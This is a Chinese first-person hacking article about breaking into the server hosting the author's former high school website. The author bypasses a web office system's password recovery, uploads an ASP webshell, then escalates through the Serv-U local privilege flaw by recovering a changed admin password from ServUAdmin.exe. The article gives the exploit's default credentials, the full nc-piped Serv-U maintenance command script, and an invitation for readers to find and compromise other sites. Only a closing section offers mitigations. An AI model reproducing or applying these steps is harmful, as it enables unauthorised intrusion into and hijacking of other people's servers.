自从Serv-U本地权限提升漏洞出来以后,大家手握Su.exe这把网兜逢鸡就罩,一时间的肉鸡明显增多、质量直线上升啊。特别《Win2000虚拟主机入侵大法》中的方法流传广泛之后,大家手里开始有了些做虚拟主机的高带宽、大内存,甚至有N个CPU的极品肉鸡,恭喜恭喜啊^_^(台下观众:同喜同喜)。可是也遇见了用N多修补了这个Serv-U本地权限提升漏洞、怎么也提升不了权限的老柴鸡,今天我就以我的一次真实入侵和大家来探讨一下怎么再抓这些肉鸡。
一.一个网络办公系统
一个月高风黑的如冰寒夜,我又一次打开了俺们高中的学校网站,在主页上他们把学校的网络建设吹的多么多么的好,我是越看越郁闷,我在学校3年竟然连机房都没让我进去过,甚至都记不得有机房。心想,我怎么也得给他们提个醒哦,唉,这种当头一棒、拯救世人的责任我扛了,谁叫我帅呢^_^(台下观众的臭鸡蛋炒西红柿开始准备了)。
我马上拿出X-SCAN勾选全部选项来了个大扫描,服务器是Windows2000高级服务器版,服务器只开了80、21、25、3389端口,服务器应该有防火墙,或者开了TCP/IP过滤了,漏洞扫描是一个也没有,应该是SP4+最新补丁。这样的服务器应该不是我们高中的那些网管配置的出来的,这样说有点看不起人,但这也应该是事实。查了查IP,是北京联通的,看来用的是虚拟主机了。
马上打开动画吧明小子写的《旁注入侵专用工具》(图一)。这个工具功能非常强大,先是通过whois.webhosting.info查询某个IP绑定的所有域名,然后导入软件自动查询可以上传的页面或者论坛、文章系统的数据库,比如DvBbs 7.0的上传页面和动易、青创文章系统的漏洞页面、动网数据库等等。查到漏洞页面就可以通过软件自带的漏洞利用程序直接上传ASP木马。扫描结果非常令我失望,这个服务器可能是新开的,上面只有很少十几个网站,没有有上传漏洞的。
图一
郁闷中打开主页闲逛,主页是纯html写的,只有一个同学录是asp的,用的是《风月同学录》最新版的,试了试弱密码,错误。打上默认的《风月同学录》的数据库地址,数据库地址倒是没改,可是做了防下载处理。
无聊中胡乱点开了他的所谓的“企业网络办公系统”,弱口令没进去,忽然看见一个“如果你忘记密码的话,请从这里找回你的密码!”,点了下,名字输入admin。密码提示问题是“0000”,我也随手输了“0000”,哈哈,正确,进入管理页面(图二)。进去后感觉和《X档案》曾经介绍过的《A4网络教学系统》有点像,试试能不能上传任意就试了试上传页面,看到“行政管理”里有个“上报文件”找了个海洋顶端ASP木马2005,上传成功了,狂郁闷的是怎么也找不到传到什么地方了(图三)。又找了找发现了有个“个人信箱”,给自己写封信,附件里直接附上海洋顶端2005,打开收件箱,哈哈,ASP附件竟然可以直接打开,得到Webshell(图四)。
后来测试发现网上的这个办公系统N多,在Baidu里输入“企业网络办公系统”就OK,用刚才的默认密码提示问题和提示答案绝大部分都可以进去,很快得到Webshell。大家可以试试。
图二
图三
图四
二.绝望的权限提升
有了Webshell,这就可以修改网站的主页来提醒提醒学校管理员了,但在使用过程中发现这个主机的速度超快啊,呵呵,作成肉鸡一定很爽,可在上面做下载,扫肉鸡,哈哈,还可以挂QQ等级,兴奋的想狂笑。
自从我想把他搞成肉鸡,我的苦难就开始了。我开始了绝望的权限提升之旅。
在Webshell里输入net user,顶端ASP木马提示“文件打开失败”“没有权限”。看来限制了Guest对CMD.EXE的访问了,那我们自己传一个上去CMD.EXE过去。上传成功。然后在海洋顶端ASP木马里自定义CMD.EXE路径,可是还是不能执行CMD命令。那再看看C:\winnt\system32\inetsrv\data这个目录有没有写权限Windows2000的这个目录默认是Everyone完全控制的(可参见《X档案》12期《一次艰难的虚拟主机入侵》),CMD上传成功了。执行net start ,FTP果然是用的Serv-U。我一声冷笑,嘿嘿,怨你命苦吧。然后上传了Serv-U本地权限提升漏洞利用程序Su.exe,满怀希望的运行C:\winnt\system32\inetsrv\data\su.exe “net suer intruder$ 0123123 /add” 。结果返回了这样的结果:
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<530 Not logged in.
图五
看样子管理员已经对Serv-u本地权限提升漏洞做了修补了。他修改了默认的SVERV -U的管理员名字或者密码,权限提升必然失败了。郁闷呐!
大家都知道在Windows2000+SP4的机器上用漏洞提升权限是多么的不容易啊,好不容易出了这么个好洞洞就这么被堵上了,俺心不甘,心不甘……55555……
继续在主机里溜达,发现主机没有多余的服务,替换服务的办法也算是基本泡汤了。用网上流传的asp直接加管理员用户的代码试了试也没有效果。
此后我每天上去溜达,就是无处下口,基本上能用的所有办法都用了,就差带上匕首、背着炸药包去直接找管理员要密码了。
三、柳暗花明 峰回路转
那阵子做梦的时候老是梦见我轻松提升权限拿下它,然后用Winhex把Serv-U的文件改了改,把本地权限提升漏洞给补上了,然后肉鸡可就是我自己的了,我有可以挂QQ,可以做QQ代理,哈哈哈哈哈哈……(因半夜狂笑被舍友狂扁N+1次)忽然……十六进制……修改默认用户名……密码……我想到了!一下子醒来,兴奋啊,结果怎么也睡不着了(结果第二天好惨啊,考试呢,我困的差点把大腿掐肿了都差点睡着)。
忽然想通了一点东东,管理员修补这个漏洞是把程序里原来的密码#l@$ak#.lk;0@P改成了别的,那他改完的密码也还在程序里啊,如果我能把它给弄下来,用Winhex或者Xhex来个大刑伺候,不信它不招出密码。
第二天考古代文学,那个题是又老又臭啊,一阵子忽悠完就往服务器里跑啊(台下观众都穿起了黑披风,带上了墨镜,真以为自己是尼奥了,寒……),马上打开服务器上的海洋顶端2005,直接查看C:\Program Files\Serv-U\目录,成功,看到文件列表了,找到ServUAdmin.exe,用海洋顶端2005的“流下载”下载了下来。激动啊……鼻血出来了……
回来马上用Xhex打开了ServUAdmin.exe,使用快捷键Ctrl+F,输入LocalAdministrator,点搜索,哈哈,密码和这个“LocalAdministrator”是一家子的,找到了,密码是“85457845152145”!这个碰巧管理员没有修改用户名,那要是修改了我们怎么搜索啊?其实也好办,我们找一个和同一版本的正常Serv-U的ServUAdmin.exe,搜索“LocalAdministrator”,找到它的偏移地址记下,然后再打开第一个ServUAdmin.exe,快捷键Ctrl+G,跳转到这个地址就可以找到用户名和密码了。(图六)那要是管理员该端口了呢?这个就跟简单了,直接在Webshell里来个Netstat -an,找找127.0.0.1:XXXXX端口,猜也猜到了。而且修改管理端口容易出现错误,我修改了几个都出现不能管理的错误。
图六
有密码了,一切顺利了,我脑袋比较笨,所以开始用了一个比较笨的方法。上传NC.exe和su.txt到服务器,然后C:\winnt\system32\inetsrv\data\nc.exe 127.0.0.1 -p 43958 < C:\winnt\system32\inetsrv\data\su.txt
su.txt内容如下:
USER LocalAdministrator
PASS 85457845152145
SITE MAINTENANCE
-SETDOMAIN
-Domain=MyFTP|0.0.0.0|22|-1|1|0
-DynDNSEnable=0
DynIPName=
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=21
-User=test
-Password=123456
-HomeDir=c:\
-Maintenance=System
-Ratios=None
Access=c:\|RWAMELCDP
-GETUSERSETUP
这样服务器就建立了一个叫MyFTP新域,帐号是test,密码是123456,用户目录是C:\,用户权限是Serv-U系统管理员。在本地Serv-U中新建一个服务器,填上这台服务器的IP,端口填上22,用户名test,密码123456,结果却登陆失败。想了想原因,可能服务器使用了TCP/IP过滤或者使用了_blank">防火墙,不允许访问非认证端口。这个端口如果改成21是不行的,我测试了两台,都莫名其妙的失败了。
后来想,我既然有了密码,我直接修改那个权限提升漏洞利用程序中的密码“#l@$ak#.lk;0@P”为我得到的密码不就可以利用了嘛!找出这个本地权限提升漏洞的利用代码,改掉这个密码,编译成功,上那台服务器上试试,成功了!得到系统权限!马上加了个用户,肉鸡已经开了终端服务,很方便!
入侵到此结束,剩下的就是打扫战场了。
通过终端登陆上肉鸡后发现,刚才NC提交的东东是有效果的,服务器里有了一个MyFTP的新域,连接不上是因为肉鸡上装了防火墙。(图七)
图七
后来想想,很多朋友的机器上没装C语言,这样利用毕竟不方便。我就使用我学的实在不怎么样的BCB写了个图形界面的配置程序(图八),大家先凑合着用着!只是这个程序大了点,300多K,带着不方便,那些出门在外不忘黑站的哥们们可能受不了,那我们可以直接用Xhex打开su.exe,查找“LocalAdministrator”和“#l@$ak#.lk;0@P”,改成自己得到的密码也可以。
图八
四、事后的思考
这种Serv-U本地权限提升漏洞到底要怎么修补呢?这种仅仅简单修改文件中默认密码的做法显然是不安全的。那我们可以不给那个Internet来宾帐号Serv-U安装目录浏览的权限,这样就没法下载程序找密码了(图九)。但是这么做这漏洞的隐患还是存在的,比如本地用户的权限提升。
图九
再想想,因为Serv-U是以服务启动默认是以System权限运行的,所以才有被权限提升的可能。如果我们把Serv-U的启动用户改成一个USER组的用户,那么就再不会有所谓的权限提升了。(图十)但要注意的是,这个低权限用户一定要对Serv-U安装目录和提供FTP服务的目录或盘符有完全控制的权限。经测试发现,使用普通组用户启动的Serv-U是不能增加用户和删除用户的,其他一切正常 。